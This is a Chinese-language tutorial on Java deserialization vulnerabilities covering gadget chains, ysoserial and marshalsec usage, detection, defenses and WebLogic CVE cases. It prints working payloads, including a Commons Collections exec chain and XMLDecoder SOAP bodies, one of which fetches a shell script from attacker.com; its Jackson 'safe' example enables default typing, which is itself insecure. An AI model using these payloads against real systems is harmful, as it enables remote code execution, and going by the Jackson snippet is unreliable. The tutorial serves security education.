Java 反序列化漏洞详解

目录

  1. [什么是 Java 反序列化](#什么是 Java 反序列化)

  2. 漏洞原理

  3. 常见利用链

  4. 漏洞检测与利用

  5. 防护措施

  6. 实战案例

  7. 学习资源


1. 什么是 Java 反序列化

1.1 序列化和反序列化

  • 序列化 (Serialization):将 Java 对象转换为字节序列的过程,便于存储或网络传输

  • 反序列化 (Deserialization):将字节序列恢复为 Java 对象的过程

复制代码
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser"));
oos.writeObject(myObject);
​
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
MyObject obj = (MyObject) ois.readObject();

1.2 危险函数

函数 说明
ObjectInputStream.readObject() 最常用的反序列化入口
XMLDecoder.readObject() XML 格式反序列化
YAML.load() YAML 反序列化
JSON.parseObject() JSON 反序列化(通常较安全)

2. 漏洞原理

2.1 核心问题

反序列化时,Java 会自动调用对象的 readObject() 方法,如果攻击者精心构造恶意序列化数据,可以:

  1. 触发 Gadget Chain:利用一系列可被反射调用的"小工具"类

  2. 执行任意代码:通过构造函数、setter、方法调用链实现 RCE

2.2 利用条件

复制代码
反序列化漏洞利用条件:
1. 目标使用 ObjectInputStream 且未过滤输入
2. 存在可利用的 Gadget Chain(应用中或依赖库中)
3. 攻击者能控制反序列化的数据来源

2.3 攻击流程

复制代码
[攻击者] --恶意序列化数据--> [服务器] --readObject()--> [触发Gadget] --> [RCE]

3. 常见利用链

3.1 Apache Commons Collections (CC)

最经典的利用链,JDK < 8u20 可用:

复制代码
// 简化版 Payload 构造
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Object[]{new String[]{"calc.exe"}})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map map = TransformedMap.decorate(new HashMap(), null, chain);

3.2 Spring Framework

  • SpringAOP 利用链

  • Spring Beans 利用链

3.3 JDK 原生

  • jdk.nashorn.internal.runtime.Und

  • javax.script.ScriptEngineManager

3.4 第三方库

利用类
Groovy GroovyShell
BlazeDS SerializationHint
Hibernate hibernate-core

4. 漏洞检测与利用

4.1 工具

4.1.1 ysoserial

最著名的利用工具:

复制代码
# 生成 CC1 利用链
java -jar ysoserial.jar CommonsCollections1 "命令" > payload.ser
​
# 生成 URLDNS 利用链(探测用)
java -jar ysoserial.jar URLDNS "http://xxxx.dnslog.cn" > payload.ser
4.1.2 marshalsec
复制代码
# 启动 LDAP/RMI 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "命令"

4.2 检测方法

4.2.1 DNS 探测
复制代码
// 使用 URLDNS 链
java -jar ysoserial.jar URLDNS "http://{unique_id}.dnslog.cn"
4.2.2 Burp 插件
  • Java Deserialization Scanner

  • Freddy

4.2.3 代码审计
复制代码
// 危险写法
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();
​
// 安全写法(需实现)
public class SafeObjectInputStream extends ObjectInputStream {
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) {
        // 白名单校验
        if (!allowedClasses.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized class", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

5. 防护措施

5.1 最佳实践

防护措施 说明
不要反序列化不受信任的数据 核心原则
使用白名单 只允许反序列化特定类
RASP 防护 运行时自保护
SerialKiller 社区提供的反序列化防护库
升级依赖 避免使用有漏洞的库版本

5.2 代码示例

5.2.1 使用 ObjectInputFilter (Java 9+)
复制代码
ObjectInputFilter filter = info -> {
    if (info.serialClass() != null) {
        // 白名单
        Set<String> whitelist = Set.of(
            "com.example.MyClass",
            "java.util.ArrayList"
        );
        return whitelist.contains(info.serialClass().getName())
            ? ObjectInputFilter.Status.ALLOWED
            : ObjectInputFilter.Status.REJECTED;
    }
    return ObjectInputFilter.Status.UNDECIDED;
};
​
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);
5.2.2 使用 SerialKiller
复制代码
ObjectInputStream ois = new ObjectInputStream(inputStream);
SerialKiller sk = new SerialKiller(ois, "/path/to_serialkiller.conf");
// 配置文件中定义黑白名单
Object obj = sk.readObject();
5.2.3 替代方案
  • JSON 替代 Java 序列化

  • Protocol Buffers

  • Jackson + 配置

    // 使用 Jackson,设置允许的类型
    ObjectMapper mapper = new ObjectMapper();
    mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
    mapper.registerSubtypes(new NamedType(SafeClass.class, "safe"));

5.3 网络层面

复制代码
# WAF 规则示例(检测序列化特征)
# 检测 Java 序列化魔数 (0xac 0xed 0x00 0x05)
if ($http_content_type ~ "application/x-java-serialized-object") {
    deny;
}

6. 实战案例

6.1 CVE-2015-4852 (WebLogic)

复制代码
<!-- 漏洞利用示例 -->
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea">
      <java>
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="1">
            <void index="0"><string>whoami</string></void>
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Body>
</soapenv:Envelope>

6.2 CVE-2017-10271 (WebLogic XMLDecoder)

复制代码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <java version="1.8.0" class="java.beans.XMLDecoder">
      <object class="java.lang.Runtime" method="getRuntime">
        <void method="exec">
          <string>wget http://attacker.com/shell.sh -O /tmp/shell.sh</string>
        </void>
      </object>
    </java>
  </soapenv:Body>
</soapenv:Envelope>

6.3 CVE-2018-2628 (WebLogic T3)

复制代码
# Python 利用脚本简化版
import socket
​
def exploit(target, command):
    t3_header = b'\x00\x00\x09\x01\x00\x00\x00\x00\x00\x00\x00\x00'
    # ... 构建恶意序列化 payload
    sock.send(t3_header + payload)

7. 学习资源

7.1 经典论文

  1. 《Java Deserialization Attack》 - Frohoff & Lawrence

  2. 《Paper: Java Unmarshaller Security》 - Moritz Bechler

7.2 靶场

靶场 地址
Java deserialization Lab https://github.com/NickstaDB/DeserializationLab
WebGoat https://owasp.org/www-project-webgoat/
Vulfocus https://vulfocus.cn/

7.3 工具集

工具 用途
ysoserial 生成 Payload
marshalsec LDAP/RMI 服务器
SerialKiller 防护库
jndi-tool JNDI 注入利用
super-serialization 深度分析

7.4 进一步学习

  • 深入理解 Java 反射机制

  • 学习常见 Gadget Chain 的构建原理

  • 掌握 RASP 原理和实现

  • 关注 CVE 漏洞披露和补丁分析


附录:A. 序列化安全配置检查清单

  • 确认所有反序列化入口点
  • 审查依赖库版本
  • 实施反序列化白名单
  • 部署 RASP 防护
  • 定期扫描 CVE
  • 记录反序列化日志
  • 使用替代序列化方案
相关推荐
故事和你911 小时前
蓝桥杯-2025年C++B组国赛
开发语言·软件测试·数据结构·c++·算法·职场和发展·蓝桥杯
执笔画流年呀2 小时前
如何用Navicat来创建表
java·mysql
王忘杰2 小时前
0基础CUDA炼丹、增加断点保存,从零开始训练自己的AI大模型 87owo/EasyGPT Python CUDA
开发语言·人工智能·python
好家伙VCC2 小时前
**发散创新:基于以太坊侧链的高性能去中心化应用部署实战**在区块链生态中,*
java·python·去中心化·区块链
邂逅星河浪漫2 小时前
【JavaScript】==和===区别详解
java·javascript·==·===
kvo7f2JTy2 小时前
吃透Linux/C++系统编程:文件与I/O操作从入门到避坑
java·linux·c++
Lzh编程小栈2 小时前
数据结构与算法之队列深度解析:循环队列+C 语言硬核实现 + 面试考点全梳理
c语言·开发语言·汇编·数据结构·后端·算法·面试
_MyFavorite_2 小时前
JAVA重点基础、进阶知识及易错点总结(35)注解与反射
java·开发语言·tomcat
AbandonForce2 小时前
模拟实现vector
开发语言·c++·算法